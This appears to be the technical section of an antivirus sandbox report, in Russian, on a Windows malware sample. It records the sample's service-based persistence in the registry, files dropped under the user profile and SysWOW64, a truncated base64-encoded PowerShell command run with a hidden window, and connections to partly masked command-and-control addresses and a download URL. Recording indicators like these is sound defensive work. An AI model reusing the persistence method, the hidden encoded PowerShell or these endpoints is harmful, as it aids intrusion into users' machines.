Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\defaultlocationcpl] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\defaultlocationcpl] 'ImagePath' = '"%WINDIR%\SysWOW64\KBDRU\defaultlocationcpl.exe"'
- 'defaultlocationcpl' "%WINDIR%\SysWOW64\KBDRU\defaultlocationcpl.exe"
- 'defaultlocationcpl' %WINDIR%\SysWOW64\KBDRU\defaultlocationcpl.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -en JABVAHoAdAB6AGQAbQB5AD0AKAAoACcATAB1AHUAJwArACcANQAnACkAKwAnAG0AJwArACcAbwB1ACcAKQA7ACYAKAAnAG4AZQB3ACcAKwAnAC0AaQB0AGUAbQAnACkAIAAkAGUAbgBWADoAdQBzAEUAcgBQAHIATwBGAGkATABlAFwASgB6AGYAdQBtA...
- %HOMEPATH%\jzfumvx\nwsvsce\mo046z.exe
- %WINDIR%\syswow64\kbdru\defaultlocationcpl.exe
- %HOMEPATH%\jzfumvx\nwsvsce\mo046z.exe в %WINDIR%\syswow64\kbdru\defaultlocationcpl.exe
- '19#.#92.39.136':80
- '5.###.168.53':8080
- http://ar####dia.com.br/Blog/Q5NrX3zla0/
- http://5.###.168.53:8080/cRxBfmWrOAU/oO2oJHq45yMB/ via 5.###.168.53
- DNS ASK ar####dia.com.br
- '%HOMEPATH%\jzfumvx\nwsvsce\mo046z.exe'
- '%WINDIR%\syswow64\kbdru\defaultlocationcpl.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -en JABVAHoAdAB6AGQAbQB5AD0AKAAoACcATAB1AHUAJwArACcANQAnACkAKwAnAG0AJwArACcAbwB1ACcAKQA7ACYAKAAnAG4AZQB3ACcAKwAnAC0AaQB0AGUAbQAnACkAIAAkAGUAbgBWADoAdQBzAEUAcgBQAHIATwBGAGkATABlAFwASgB6AGYAdQBtA...' (со скрытым окном)